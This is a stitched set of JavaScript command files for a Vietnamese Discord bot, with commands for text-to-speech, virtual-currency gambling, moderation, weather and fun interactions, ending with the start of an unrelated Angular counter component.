description: 'Fix lỗi Có người khác đang sử dụng bot',
usage: '<PREIFX>fixtts hoặc <PREFIX>fix',
run: async (client, message, args) => {
await db.set(`${message.guild.id}.botdangnoi`, false);
message.react('🔧');
},
};<file_sep>const eco = require('../../functions/economy');
const { laysodep } = require('../../functions/utils');
module.exports = {
name: 'give',
category: 'gamble',
aliases: ['transfer'],
description: 'Chuyển tiền cho người khác!',
usage: '<PREFIX>give <@tag or ID> <so tien>',
example: '<PREFIX>give @phamleduy04 50000',
run: async (client, message, args) => {
const member = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
const amount = await eco.fetchMoney(message.author.id);
if (!member) return message.channel.send('Hãy tag hoặc đưa ID của người đó!');
if (message.author.id == member.id) return message.channel.send('Bạn không thể tự chuyển tiền cho chính mình!');
const soTienChuyen = parseInt(args[1]);
if (!soTienChuyen || isNaN(soTienChuyen)) return message.channel.send('Hãy nhập số tiền cần chuyển.');
if (amount < soTienChuyen) return message.channel.send('Bạn không đủ tiền để chuyển');
await eco.addMoney(member.id, soTienChuyen);
await eco.subtractMoney(message.author.id, soTienChuyen);
return message.channel.send(`Bạn đã chuyển thành công **${laysodep(soTienChuyen)}** tiền tới **${member.user.tag}**.`);
},
};<file_sep>const { MessageEmbed, MessageAttachment } = require("discord.js");
const db = require('quick.db');
const shipDb = new db.table('shipDb');
const moment = require('moment');
module.exports = {
name: "ship",
category: "fun",
description: "Shippppppp",
usage: "<PREFIX>ship [@tag]",
note: "<PREFIX>ship rename để rename tên \n<PREFIX>ship sink để phá thuyền",
cooldown: 20,
run: async (client, message, args) => {
const embed = new MessageEmbed();
const authorData = await shipDb.get(message.author.id);
const member = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
switch (args[0]) {
case 'rename':
if (!authorData) return message.channel.send('Bạn không có thuyền!');
const newName = args.slice(1).join(' ');
await shipDb.set(`${message.author.id}.shipName`, newName);
await shipDb.set(`${authorData.target.id}.shipName`, newName);
message.channel.send('Thao tác thành công 👍');
break;
case 'sink':
if (!authorData) return message.channel.send('Bạn không có thuyền!');
await shipDb.delete(message.author.id);
await shipDb.delete(authorData.target.id);
message.channel.send('Bạn đã cho chìm tàu 💔');
break;
default: {
if (member && authorData && (member.id !== authorData.target.id)) return message.channel.send('Bạn đã có thuyền rồi!');
if (!authorData) {
if (!member) return message.channel.send('Bạn hiện tại không ship với ai!');
else {
if (member.id == message.author.id) return message.channel.send('Bạn không thể ship với chính mình.');
if (shipDb.has(member.id)) return message.channel.send('Người bạn tag đã có thuyền!');
// bắt đầu ship xD
const filter = m => m.author.id == member.id;
const msg = await message.channel.send(`${member}, bạn có muốn lên thuyền cùng **${message.member.nickname}** không?\nNhập **accept** để đồng ý!`);
const collector = msg.channel.createMessageCollector(filter, { time: 15000 });
collector.on('collect', async m => {
if (m.content.toLowerCase() == 'accept') {
const shipName = `${message.author.username.slice(0, 3)} và ${member.user.username.slice(0, 3)}`;
await setDefault(message.author, member, shipName);
await setDefault(member, message.author, shipName);
message.channel.send(`🚢 Thuyền **${shipName}** đã được đẩy.\nĐể đổi tên thuyền hãy nhập lệnh \`ship rename\`!\nĐể chìm thuyền hãy sử dụng lệnh \`ship sink\`!`);
collector.stop();
} else if (m.content.toLowerCase() == 'decline') {
collector.stop('tuchoi');
}
});
collector.on('end', async (_, reason) => {
if (reason == 'tuchoi') return message.channel.send('Bạn đã từ chối lời mời lên thuyền!');
else if (reason == 'time') {
if (msg.deletable) msg.delete();
return message.channel.send('Lời mời hết hạn!');
}
});
}
} else {
// deconstruct
const { hugs, slaps, spank, kiss, cookie, pat, poke, since, punch } = authorData.target;
const targetData = await shipDb.get(authorData.target.id);
const { readFileSync } = require('fs');
const ship = readFileSync('././assets/images/ship.png');
const attachment = new MessageAttachment(ship, 'ship.png');
let arrTuongTac = [
hugs + targetData.target.hugs !== 0 ? `🤗 Ôm: ${hugs + targetData.target.hugs}` : '',
slaps + targetData.target.slaps !== 0 ? `🤚 Tát: ${slaps + targetData.target.slaps}` : '',
spank + targetData.target.spank !== 0 ? `🍑 Tét: ${spank + targetData.target.spank}` : '',
kiss + targetData.target.kiss !== 0 ? `💋 Hôn: ${kiss + targetData.target.kiss}` : '',
cookie + targetData.target.cookie !== 0 ? `🍪 Bánh quy: ${cookie + targetData.target.cookie}` : '',
punch + targetData.target.punch !== 0 ? `👊 Đấm: ${punch + targetData.target.punch}` : '',
pat + targetData.target.pat !== 0 ? `👋 Vỗ đầu: ${pat + targetData.target.pat}` : '',
poke + targetData.target.poke !== 0 ? `👉 Chọc: ${poke + targetData.target.poke}` : '',
];
arrTuongTac = arrTuongTac.filter(x => x);
embed.setAuthor(authorData.shipName, message.guild.iconURL())
.attachFiles(attachment)
.setThumbnail('attachment://ship.png')
.addField(`Cặp đôi: `, `${message.author} và <@${authorData.target.id}>`)
.addField('Tương tác: ', arrTuongTac.length !== 0 ? arrTuongTac : 'Chưa có gì cả')
.addField('Thuyền tạo vào: ', moment(since).fromNow());
message.channel.send(embed);
}
}
}
},
};
async function setDefault(first, second, shipName) {
if (!first || !second || !shipName) return;
await shipDb.set(first.id, {
shipName: shipName,
target: {
id: second.id,
hugs: 0,
slaps: 0,
spank: 0,
kiss: 0,
cookie: 0,
pat: 0,
punch: 0,
poke : 0,
since: Date.now(),
},
});
}<file_sep>const axios = require('axios');
const url = "https://hasteb.in/documents";
module.exports = {
post: async function(content) {
try {
const res = await axios.post(url, content);
return `https://hasteb.in/${res.data.key}`;
}
catch (e) {
return { error: true, message: e.message };
}
},
};<file_sep>const { MessageEmbed } = require("discord.js");
const weather = require('weather-js');
module.exports = {
name: "weather",
category: "info",
description: "Thông tin thời tiết",
usage: "<PREFIX>weather <mã bưu điện hoặc tên thành phố>",
example: "<PREFIX>weather Ho Chi Minh",
run: (client, message, args) => {
if (!args[0]) return message.channel.send("Vui lòng ghi tên thành phố");
const query = args.join(' ');
weather.find({ search: query, degreeType: 'C' }, function(err, result) {
if (err) return message.channel.send(`Bot lỗi: ${err}`);
if (result.length === 0) return message.reply(`Bot không tìm được tên thành phố, vui lòng thử lại.`);
const current = result[0].current;
const embed = new MessageEmbed()
.setDescription(`**${current.skytext}** `)
.setThumbnail(current.imageUrl)
.setAuthor(`Thời tiết ở ${current.observationpoint} hôm nay`)
.addField(`Nhiệt độ: `, `${current.temperature} °C`, true)
.addField(`Feels like®: `, `${current.feelslike} °C`, true)
.addField(`Gió: `, current.winddisplay, true)
.addField(`Độ ẩm: `, `${current.humidity}%`, true);
return message.channel.send(embed);
});
},
};<file_sep>const { MessageEmbed } = require("discord.js");
const { promptMessage } = require('../../functions/utils');
const db = require('quick.db');
module.exports = {
name: "ban",
category: "moderation",
description: "Ban 1 người trong server",
usage: "<PREFIX>ban <@tag, id> [lý do]",
example: "<PREFIX>ban @phamelduy04",
run: async (client, message, args) => {
const serverdata = db.get(message.guild.id);
const logChannel = message.guild.channels.cache.get(serverdata.logchannel) || message.channel;
if (message.deletable) message.delete();
// No args
if (!args[0]) return message.reply("Vui lòng tag một người nào đó để ban.").then(m => m.delete({ timeout: 5000 }));
const reason = args.slice(1).join(' ') || "Không có.";
// No author permissions
if (!message.member.hasPermission("BAN_MEMBERS")) {
return message.reply("❌ Bạn không có quyền để ban người khác.")
.then(m => m.delete({ timeout: 5000 }));
}
// No bot permissions
if (!message.guild.me.hasPermission("BAN_MEMBERS")) {
return message.reply("❌ Bot không có quyền ban người khác, vui lòng kiểm tra lại.")
.then(m => m.delete({ timeout: 5000 }));
}
const toBan = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
// No member found
if (!toBan) {
return message.reply("Không tìm thấy người cần ban, vui lòng thử lại.")
.then(m => m.delete({ timeout: 5000 }));
}
// Can't ban urself
if (toBan.id === message.author.id) {
return message.reply("Bạn không thể tự ban chính mình.")
.then(m => m.delete({ timeout: 5000 }));
}
// Check if the user's banable
if (!toBan.bannable) {
return message.reply("Mình không thể ban người này vì người này role cao hơn mình.")
.then(m => m.delete({ timeout: 5000 }));
}
const embed = new MessageEmbed()
.setColor("#ff0000")
.setThumbnail(toBan.user.displayAvatarURL())
.setFooter(message.member.displayName, message.author.displayAvatarURL())
.setTimestamp()
.addField('Lệnh ban', [
`**- Đã ban:** ${toBan} (${toBan.id})`,
`**- Người ban:** ${message.member} (${message.member.id})`,
`**- Lý do:** ${reason}`,
]);
const promptEmbed = new MessageEmbed()
.setColor("GREEN")
.setAuthor(`Hãy trả lời trong 30s`)
.setDescription(`Bạn có muốn ban ${toBan}?`);
// Send the message
await message.channel.send(promptEmbed).then(async msg => {
// Await the reactions and the reactioncollector
const emoji = await promptMessage(msg, message.author, 30, ["✅", "❌"]);
// Verification stuffs
if (emoji === "✅") {
msg.delete();
await toBan.send(`Bạn vừa bị ban ở server \`${toBan.guild.name}\`. Lý do: \`${reason}\``);
toBan.ban({ reason: reason })
.catch(err => {
if (err) return message.channel.send(`Bị lỗi khi ban: ${err.message}`);
});
logChannel.send(embed);
} else if (emoji === "❌") {
msg.delete();
message.reply(`Đã huỷ ban`)
.then(m => m.delete({ timeout: 10000 }));
}
});
},
};<file_sep>const { ownerID } = require('../../config.json');
const { MessageEmbed } = require('discord.js');
module.exports = {
name: 'developer',
aliases: ['dev'],
description: 'Show info của owner của bot ',
category: 'info',
usage: '<PREFIX> developer',
run: async (client, message, args) => {
const vjetcong = client.users.cache.get(ownerID);
const embed = new MessageEmbed()
.setTitle(`Thông tin về Developer`)
.addField('Thông tin cá nhân', [
`Tên Discord: ${vjetcong.tag}`,
"Quốc gia: :flag_vn:",
`ID user: ${vjetcong.id}`,
`Online? ${vjetcong.presence.status == 'online' ? 'Có' : 'Không'}`,
])
.setThumbnail(vjetcong.displayAvatarURL());
message.channel.send(embed);
},
};<file_sep>const { MessageEmbed } = require('discord.js');
const ms = require('ms');
module.exports = {
name: "reminder",
category: "info",
description: "Đặt lời nhắc",
usage: "<PREFIX>reminder <time> (5s,15m,1h,2d) <text>",
example: "<PREFIX>reminder 1h Đi học",
run: async (client, message, args) => {
const reminderTime = args[0];
if (!reminderTime) return message.reply("Vui lòng nhập thời gian.");
const reminder = args.slice(1).join(" ");
const embed = new MessageEmbed()
.setColor("RANDOM")
.setTitle(`${message.author.username}'s Reminder`)
.addField("Reminder: ", `${reminder}`)
.addField("Time", `${reminderTime}`)
.setTimestamp();
message.channel.send(embed);
setTimeout(async function() {
embed.setColor("RANDOM")
.setTitle(`${message.author.username}'s Reminder`)
.addField("Reminder: ", `${reminder}`)
.setTimestamp();
await message.channel.send(message.author, { embed: embed });
}, ms(reminderTime));
},
};<file_sep>const random = require('random-number-csprng');
module.exports = {
name: "random",
category: "fun",
description: "Random 1 số từ 0 tới x",
usage: '<PREFIX>random <số tối đa>',
example: '<PREFIX>random 100 (sẽ random từ 0 tới 100)',
run: async (client, message, args) => {
if (!args[0] || isNaN(args[0])) return message.reply('Bạn phải ghi số lớn nhất có thể quay ra!');
return message.channel.send(`🎲 Số của bạn là: ${await random(0, args[0])}`);
},
};<file_sep>const cookieEmoji = '<a:ancookie:753449823855968408>';
const db = require('quick.db');
const shipDb = new db.table('shipDb');
module.exports = {
name: 'cookie',
category: 'fun',
description: 'Đưa cookie cho ăn nhoàm nhoàm nhoàm',
usage: '<PREFIX>cookie <@tag>',
run: async (client, message, args) => {
const nguoitag = message.mentions.members.first() || message.guild.members.cache.get(args[0]);
if (!nguoitag) return message.channel.send('Vui lòng tag 1 ai đó!');
else if (nguoitag.id == message.author.id) return message.channel.send('Bạn không thể tự cho chính bạn cookie.');
else {
let string;
if (shipDb.has(message.author.id)) {
const authorData = await shipDb.get(message.author.id);
if (authorData.target.id == nguoitag.id) {
authorData.target.cookie++;
await shipDb.set(message.author.id, authorData);
string = `Cái cookie ${authorData.target.cookie !== 1 ? `thứ ${authorData.target.cookie}` : 'đầu tiên'} của bạn.`;
}
}
message.channel.send(`${cookieEmoji} | **${nguoitag.user.username}**, bạn đã nhận 1 cookie từ **${message.author.username}**. \n${string ? string : ''}`);
}
},
};<file_sep>const db = require('quick.db');
const ss = require('string-similarity');
module.exports = {
name: 'xpchannel',
category: 'settings',
description: 'Tắt/Mở phòng tính điểm rank',
usage: '<PREFIX>xpchannel <#channel>',
example: '<PREIFX>xpchannel #welcome',
run: async (client, message, args) => {
if(!message.member.hasPermission("MANAGE_GUILD")) return message.reply('Bạn cần có quyền MANAGE_GUILD để chạy lệnh này!');
if (!args[0]) {
const channelArray = await db.get(`${message.guild.id}.msgChannelOff`);
if (channelArray.length === 0) return message.channel.send('Server không có phòng nào đang tắt tính exp!');
const channels = [];
channelArray.forEach(id => {
const channel = message.guild.channels.cache.get(id);
if (channel) channels.push(channel);
});
return await message.channel.send(`Những phòng đang tắt tính kinh nghiệm là: ${channels.join(' ')}`);
}
let id = args[0];
if (id.startsWith("<#")) id = id.slice(2, id.length - 1);
let channel = message.guild.channels.cache.get(id);
if (isNaN(id)) {
const listChannel = message.guild.channels.cache.filter(c => c.type == 'text').map(ch => ch.name);
const channel_name = args.join(' ');
const matches = ss.findBestMatch(channel_name, listChannel);
if (matches.bestMatch.rating < 0.6) return message.channel.send(`Không tìm thấy channel tên ${channel_name}`);
channel = message.guild.channels.cache.find(ch => ch.name == matches.bestMatch.target);
}
if (!channel) return message.channel.send('Không tìm thấy channel!');
// check
const serverChannel = await db.get(`${message.guild.id}.msgChannelOff`);
if (serverChannel.includes(channel.id)) {
serverChannel.filter(ch => ch !== channel.id);
await db.set(`${message.guild.id}.msgChannelOff`, serverChannel);
message.channel.send(`✅ Đã bật ${channel} thành channel tính kinh nghiệm!`);
} else {
// log to database
await db.push(`${message.guild.id}.msgChannelOff`, channel.id);
message.channel.send(`✅ Đã tắt ${channel} trong list channel tính kinh nghiệm!`);
}
},
};<file_sep>const { MessageEmbed } = require("discord.js");
const stringSimilarity = require('string-similarity');
module.exports = {
name: "roleinfo",
category: "info",
description: "Trà về thông tên về role",
usage: '<PREFIX>roleinfo <tên role>',
run: async (client, message, args) => {
const roles = message.guild.roles.cache.filter(r => r.managed === false).map(g => g.name);
const search = args.join(' ');
const matches = stringSimilarity.findBestMatch(search, roles);
const find = matches.bestMatch.target;
let role = message.guild.roles.cache.find(el => el.name === find);
if (!isNaN(args[0])) role = message.guild.roles.cache.get(args[0]);
const membersWithRole = message.guild.roles.cache.get(role.id).members;
const embed = new MessageEmbed()
.setColor(role.color)
.setTitle("Roleinfo")
.addField("ID: ", role.id)
.addField("Tên role: ", role.name, true)
.addField("Số lượng:", membersWithRole.size, true)
.addField("Vị trí: ", role.position, true)
.addField("Mentionable: ", role.mentionable, true)
.addField("Hoist: ", role.hoist, true)
.addField("Màu: ", role.hexColor, true);
message.channel.send(embed);
},
};<file_sep>const db = require('quick.db');
const langList = {
"en": "en-US",
"vi": "vi-VN",
};
module.exports = {
name: "setlanguage",
category: 'tts',
aliases: ["setlang"],
description: "Set default tts lang for tts command",
usage: "<PREFIX>setlanguage <en or vi>",
example: "<PREFIX>setlanguage en",
run: async (client, message, args) => {
if(!args[0]) {
const defaulttts = await db.get(`${message.guild.id}.defaulttts`);
if (!defaulttts || defaulttts === null) return message.channel.send('Giọng text to speech của bạn là \`vi-VN\`');
message.channel.send(`Ngôn ngữ của bạn là: ${langList[defaulttts]}`);
}
else if (!langList[args[0]]) return message.channel.send('Bạn phải nhập `\ en \` hoặc \` vi \` để set ngôn ngữ mặc định.');
else if (langList[args[0]]) {
await db.set(`${message.guild.id}.defaulttts`, langList[args[0]]);
message.channel.send(`Đã set ngôn ngữ mặc định của lệnh tts là: \`${langList[args[0]]}\``);
}
},
};<file_sep>const tts = require('@google-cloud/text-to-speech');
const fs = require('fs');
const util = require('util');
const ttsclient = new tts.TextToSpeechClient();
const { sleep } = require('../../functions/utils');
const langList = require('../../assets/json/ttslang.json');
const db = require('quick.db');
const ms = require('ms');
module.exports = {
name: 'speak',
aliases: ['say', 's'],
category: 'tts',
description: 'talk',
usage: '<PREFIX>speak [lang] <text>',
note: 'lang = en hoặc vi (mặc định là vi)',
example: '<PREFIX>speak en hello world',
run: async (client, message, args) => {
if (db.get(`${message.guild.id}.botdangnoi`) === true) return message.channel.send(`Có người khác đang xài lệnh rồi, vui lòng thử lại sau D:. Nếu bạn nghĩ đây là lỗi, sử dụng lệnh \`${db.get(`${message.guild.id}.prefix`)}fix\` để sửa lỗi!`);
if (!args[0]) return message.channel.send('Vui lòng nhập gì đó :D.');
const voiceChannel = message.member.voice.channel;
if (!voiceChannel) return message.reply('Bạn phải vào voice channel để có thể sử dụng lệnh này.');
const botpermission = voiceChannel.permissionsFor(client.user);
if (!botpermission.has('CONNECT')) return message.channel.send('Bot không có quyền vào channel của bạn!');
if (!botpermission.has('SPEAK')) return message.channel.send('Bot không có quyền nói trong channel của bạn!');
if (!voiceChannel.joinable) return message.channel.send('Bot không vào được phòng của bạn');
let text = args.join(' ');
let lang = await db.get(`${message.guild.id}.defaulttts`);
if (!lang || lang === null) lang = 'vi-VN';
if (langList[args[0]]) {
text = args.slice(1).join(' ');
lang = langList[args[0]];
}
message.react('🔊')
// create request
const request = {
input: { text: text },
voice: { languageCode: lang, ssmlGender: 'FEMALE' },
audioConfig: { audioEncoding: 'MP3' },
};
const [response] = await ttsclient.synthesizeSpeech(request);
const writeFile = util.promisify(fs.writeFile);
await writeFile(`./assets/ttsdata/${message.guild.id}.mp3`, response.audioContent, 'binary');
// sau khi xử lý xong âm thanh, phát cho người dùng
let connection;
try {
connection = await voiceChannel.join();
}
catch(e) {
return message.channel.send('Bot không thể vào channel của bạn vào lúc này, vui lòng thử lại sau!');
}
if (!connection) return message.channel.send('Bot không thể vào channel của bạn vào lúc này, vui lòng thử lại sau!');
sleep(500);
const dispatcher = connection.play(`./assets/ttsdata/${message.guild.id}.mp3`);
await db.set(`${message.guild.id}.botdangnoi`, true);
await db.set(`${message.guild.id}.endTime`, Date.now() + ms('5m'));
dispatcher.on('finish', async () => {
await db.set(`${message.guild.id}.botdangnoi`, false);
setTimeout(async () => {
const checkTime = await db.get(`${message.guild.id}.endTime`);
if (checkTime && Date.now() > checkTime) {
connection.disconnect();
voiceChannel.leave();
message.channel.send('```Đã rời khỏi phòng sau 5 phút không hoạt động```');
}
if (!message.guild.me.voice.channel) await db.delete(`${message.guild.id}.endTime`);
}, ms('5m') + 1000);
});
},
};<file_sep>const eco = require('../../functions/economy');
const coin_gif = '<a:coin:710976678561841153>';
const random = ['head', 'tail'];
const dict = {
'head': '<:head:743340661075345408>',
'tail': '<:tail:743340660786200586>'
};
const { laysodep, sleep } = require('../../functions/utils');
const ms = require('ms');
const maxBet = 100000;
module.exports = {
name: 'coinflip',
aliases: ['cf'],
cooldown: 5,
category: 'gamble',
description: 'Tung đồng xu (50%)',
usage: '<PREFIX>coinflip <Lựa chọn của bạn> <tiền cược>',
example: '<PREFIX>coinflip t 50000',
run: async (client, message, args) => {
let user_choose = args[0];
if (!user_choose || user_choose == 'all' || !isNaN(user_choose)) return message.channel.send('Vui lòng chọn head hoặc tail.');
switch(user_choose.toLowerCase()) {
case 'tail':
case 't':
user_choose = 'tail';
break;
default:
user_choose = 'head';
break;
}
const amount = await eco.fetchMoney(message.author.id);
let bet = 1;
if (!args[1]) return message.channel.send('Vui lòng nhập tiền cược');
if (!isNaN(args[1])) bet = parseInt(args[0]);
if (args[1].toLowerCase() == 'all') bet = 'all';
else if (amount === undefined) return message.channel.send('Vui lòng nhập tiền cược');
else if (amount <= 0) return message.channel.send('Tiền cược không thể nhỏ hơn hoặc bằng 0.');
if (bet == 'all') {
if (maxBet < bet && maxBet > amount) {
bet = amount;
}
else bet = maxBet;
}
if (bet > maxBet) bet = maxBet;
if (bet > amount) return message.channel.send('Bạn không đủ tiền để chơi');
await message.channel.send(`${coin_gif} **${message.author.tag}** cược **${laysodep(bet)}** và đã chọn **${user_choose}**!`);
// random
const userrand = random[Math.floor(Math.random() * random.length)];
const final = check(user_choose, userrand);
sleep(ms('4s'));
if (final === true) {
// win
message.channel.send(`Và kết quả là ${dict[userrand]}(**${userrand}**), bạn đã thắng **${laysodep(bet)}**.`);
await money(message.author.id, 'win', bet);
} else if (final === false) {
// lose
message.channel.send(`Và kết quả là ${dict[userrand]}(**${userrand}**), bạn đã mất hết tiền cược.`);
await money(message.author.id, 'lose', bet);
} else {
// k trừ tiền
message.channel.send('Bot lỗi, bạn sẽ không bị trừ tiền!');
}
},
};
function check(user_choose, userrand) {
if (!user_choose || !userrand) return null;
if (user_choose == userrand) return true;
else return false;
}
async function money(userid, kind, bet) {
if (!userid || !bet) return null;
if (kind == 'win') {
await eco.addMoney(userid, bet);
} else {
await eco.subtractMoney(userid, bet);
}
}<file_sep>const eco = require('../../functions/economy');
const { randomcard, createembedfield, laysodep, locbai } = require('../../functions/utils');
const ms = require('ms');
const doubledownEmoji = "👌";
const stopEmoji = "🛑";
const maxBet = 250000;
const check_game = new Set();
module.exports = {
name: 'baicao',
cooldown: 5,
aliases: ['bc'],
description: 'Chơi bài cào với bot',
usage: '<PREFIX>baicao <số tiền cược hoặc "all">',
category: 'gamble',
run: async (client, message, args) => {
if (check_game.has(message.author.id)) return message.channel.send('Bạn chưa hoàn thành ván đấu, vui lòng hoàn thành ván chơi!');
const playerDeck = [];
const botsDeck = [];
const backcard = '<:back:709983842542288899>';
let listofcard = require('../../assets/json/cardemojis.json').fulllist;
const hide_deck = [];
const amount = await eco.fetchMoney(message.author.id);
let bet = 1;
if (!args[0]) return message.channel.send('Vui lòng nhập tiền cược');
if (!isNaN(args[0])) bet = parseInt(args[0]);
if (args[0].toLowerCase() == 'all') bet = 'all';
else if (amount === undefined) return message.channel.send('Vui lòng nhập tiền cược');
else if (amount <= 0) return message.channel.send('Tiền cược không thể nhỏ hơn hoặc bằng 0.');
if (bet == 'all') {
if (maxBet > amount) {
bet = amount;
}
else bet = maxBet;
}
if (bet > maxBet) bet = maxBet;
if (bet > amount) return message.channel.send('Bạn không đủ tiền để chơi');
check_game.add(message.author.id);
// 3 lá 1 set
for (let i = 0; i < 3; i++) {
playerDeck.push(await randomcard(listofcard));
listofcard = locbai(listofcard, playerDeck);
botsDeck.push(await randomcard(listofcard));
listofcard = locbai(listofcard, botsDeck);
hide_deck.push(backcard);
}
const msg = await message.channel.send(createembed(message.author, bet, createembedfield(playerDeck), createembedfield(botsDeck), getval(playerDeck).point, getval(botsDeck).point, createembedfield(hide_deck), "not"));
const usercard = getval(playerDeck);
const botdata = getval(botsDeck);
if (usercard.jqk === 3) {
// x3 tiền + win
await money(message.author.id, 'thang', bet * 3);
check_game.delete(message.author.id);
return msg.edit(createembed(message.author, bet, createembedfield(playerDeck), createembedfield(botsDeck), usercard.point, botdata.point, createembedfield(hide_deck), 'jqkwin'));
} else if (botdata.jqk === 3) {
// mất tiền + thua
await money(message.author.id, 'lose', bet);
check_game.delete(message.author.id);
return msg.edit(createembed(message.author, bet, createembedfield(playerDeck), createembedfield(botsDeck), usercard.point, botdata.point, createembedfield(hide_deck), 'jqklose'));
}
if (amount >= bet * 2) msg.react(doubledownEmoji);
msg.react(stopEmoji);
const filter = (reaction, user) => {
return (reaction.emoji.name === doubledownEmoji || reaction.emoji.name === stopEmoji) && user.id === message.author.id;
};
const collector = msg.createReactionCollector(filter, { time: ms('1m'), maxEmojis: 1 });
collector.on('collect', async (reaction, _) => {
if (reaction.emoji.name === doubledownEmoji && amount >= bet * 2) {
// check người ta có đủ điều kiện để cược x2
bet = bet * 2;
await stop(usercard, botdata, bet, message.author, playerDeck, botsDeck, hide_deck, msg, check_game);
collector.stop();
} else if (reaction.emoji.name === stopEmoji) {
await stop(usercard, botdata, bet, message.author, playerDeck, botsDeck, hide_deck, msg, check_game);
collector.stop();
}
});
collector.on('end', async (collected, reason) => {
if (reason == 'time') {
msg.edit('Trò chơi hết hạn. Bạn sẽ bị trừ tiền.');
money(message.author.id, "thua", bet);
}
check_game.delete(message.author.id);
});
},
};
// eslint-disable-next-line no-shadow
async function stop(usercard, botdata, bet, user, playerDeck, botsDeck, hide_deck, msg, check_game) {
check_game.delete(user.id);
let kind_of_winning = undefined;
if (usercard.point == botdata.point) {
kind_of_winning = 'hoa';
} else if (usercard.point > botdata.point) {
kind_of_winning = 'thang';
} else kind_of_winning = 'thua';
msg.edit(createembed(user, bet, createembedfield(playerDeck), createembedfield(botsDeck), usercard.point, botdata.point, createembedfield(hide_deck), kind_of_winning));
if (kind_of_winning !== 'hoa') await money(user.id, kind_of_winning, bet);
}
function createembed(nguoichoi, bet, deck_user, deck_bot, nguoichoi_val, bot_val, hidden_deck, end) {
const { MessageEmbed } = require('discord.js');
const embed = new MessageEmbed()
.setColor("#00FFFF")
.setTitle(`Chọn ${doubledownEmoji} để cược gấp đôi nếu bạn tự tin.`)
.setAuthor(`${nguoichoi.tag}, bạn đã cược ${laysodep(bet)} để chơi bài cào!`, nguoichoi.displayAvatarURL())
.setFooter("Đang chơi!");
if (end == 'thang') {
// light green
embed.setColor("#90EE90")
.addFields(
{ name: `Bot: [${bot_val}]`, value: deck_bot },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
);
embed.footer.text = `Bạn thắng ${laysodep(bet)} tiền!`;
} else if (end == 'thua') {
// thua
embed.setColor("#FF0000")
.addFields(
{ name: `Bot: [${bot_val}]`, value: deck_bot },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
);
embed.footer.text = `Bạn thua ${laysodep(bet)} tiền!`;
} else if (end == 'hoa') {
embed.setColor("#D3D3D3")
.addFields(
{ name: `Bot: [${bot_val}]`, value: deck_bot },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
);
embed.footer.text = `Bạn không mất tiền cho trận đấu này`;
} else if (end == 'not') {
embed.addFields(
{ name: `Bot: [?]`, value: hidden_deck },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
);
} else if (end == 'jqkwin') {
embed.setColor("#77dd77")
.addFields(
{ name: `Bot: [${bot_val}]`, value: deck_bot },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
)
.setTitle(`Bạn có 3 con tiên!`);
embed.footer.text = `Bạn thắng ${laysodep(parseInt(bet.toString().replace(',', '')) * 3)} tiền!`;
} else if (end == 'jqklose') {
embed.setColor("#FF0000")
.setTitle(`Bot có 3 con tiên!`)
.addFields(
{ name: `Bot: [${bot_val}]`, value: deck_bot },
{ name: `User: [${nguoichoi_val}]`, value: deck_user },
);
embed.footer.text = `Bạn mất hết số tiền cược!`;
}
return embed;
}
function getval(list) {
let jqk = 0;
let countpoint = 0;
for (let i = 0; i < list.length; i++) {
const card = list[i].slice(2, 3);
if (!isNaN(card)) {
switch(parseInt(card)) {
case 1:
countpoint += 10;
break;
default:
countpoint += parseInt(card);
break;
}
} else {
switch(card) {
case "a":
countpoint++;
break;
default:
countpoint += 10;
jqk++;
break;
}
}
}
let realpoint = undefined;
if (countpoint.toString().length == 1) realpoint = countpoint;
else realpoint = parseInt(countpoint.toString().slice(1));
return { point: realpoint, jqk: jqk };
}
async function money(userid, kind, ammount) {
if (!userid || !ammount) return null;
if (isNaN(ammount)) return null;
if (kind == 'thang') {
await eco.addMoney(userid, ammount);
} else await eco.subtractMoney(userid, ammount);
}<file_sep>const isURL = require('is-url');
const { Util } = require('discord.js');
module.exports = {
name: 'stealemo',
aliases: ['cuopemo', 'cuopemoji'],
description: 'Lấy emoji của server khác và upload vào server của chính mình',
usage: '<PREFIX>cuopemo <emoji, hoặc URL của emoji> <tên emoji>',
example: '<PREFIX>cuopemo :fun: vui',
cooldown: 10,
run: async (client, message, args) => {
if (!message.member.hasPermission('MANAGE_EMOJIS')) return message.channel.send('Bạn không có quyền `MANAGE_EMOJIS` để sử dụng lệnh này!');
if (!message.guild.me.hasPermission('MANAGE_EMOJIS')) return message.channel.send('Bot không có quyền `MANAGE_EMOJIS` để sử dụng lệnh này!');
if (!args[0] || !args[1]) return message.channel.send('Vui lòng nhập đủ dữ liệu để bot có thể chạy!');
let emoji;
if (isURL(args[0])) emoji = args[0];
else emoji = Util.parseEmoji(args[0]);
try {
if (emoji.id) emoji = `https://cdn.discordapp.com/emojis/${emoji.id}.${emoji.animated ? "gif" : "png"}`;
await message.guild.emojis.create(emoji, args.slice(1).join(' '));
message.channel.send('Thao tác thành công!');
}
catch(e) {
if (e.message.includes('Invalid image data') || e.message == 'The resource must be a string, Buffer or a valid file stream.') return message.channel.send('Hình bạn cung cấp không hợp lệ!');
else return message.channel.send(`Bot lỗi: ${e.message}`);
}
},
};<file_sep>const { ownerID } = require('../../config.json');
module.exports = {
name: "shutdown",
aliases: ["tatbot"],
description: "Shutdown the bot",
note: "Lệnh dành riêng cho owner của bot.",
run: async (client, message, args) => {
if (message.author.id != ownerID) return message.channel.send("Lệnh này dành riêng cho chủ của bot.");
try {
await message.channel.send("Đã tắt bot từ xa!");
process.exit();
} catch (e) {
message.channel.send(`Bot lỗi: ${e.message}`);
}
},
};
|
465141fd4842c780755d803a4551caf9842a6d30
|
[
"Markdown",
"JavaScript"
] | 44 |
Markdown
|
discordsirin/Sirin
|
b10f2f828d5c15cb28de80edb90967cee1f1cff8
|
7f6624fe7ee84b4ac9eaedd2ef015d6029a25bb7
|
refs/heads/master
|
<file_sep>import { Component, OnInit } from '@angular/core';
import * as moment from 'moment';
import { ProgressDataModel } from '../models/progress-data.model';
// import { faCoffee, faCannabis } from '@fortawesome/free-solid-svg-icons';
@Component({
selector: 'app-counter-page',
templateUrl: './counter-page.component.html',
styleUrls: ['./counter-page.component.scss']
})
export class CounterPageComponent implements OnInit {
initial: moment.Moment;
months: number;
weaks: number;
days: number;
hours: number;
minutes: number;
seconds: number;
monthList: ProgressDataModel[] = [
{ color: '#ff3737', percentage: 95 },
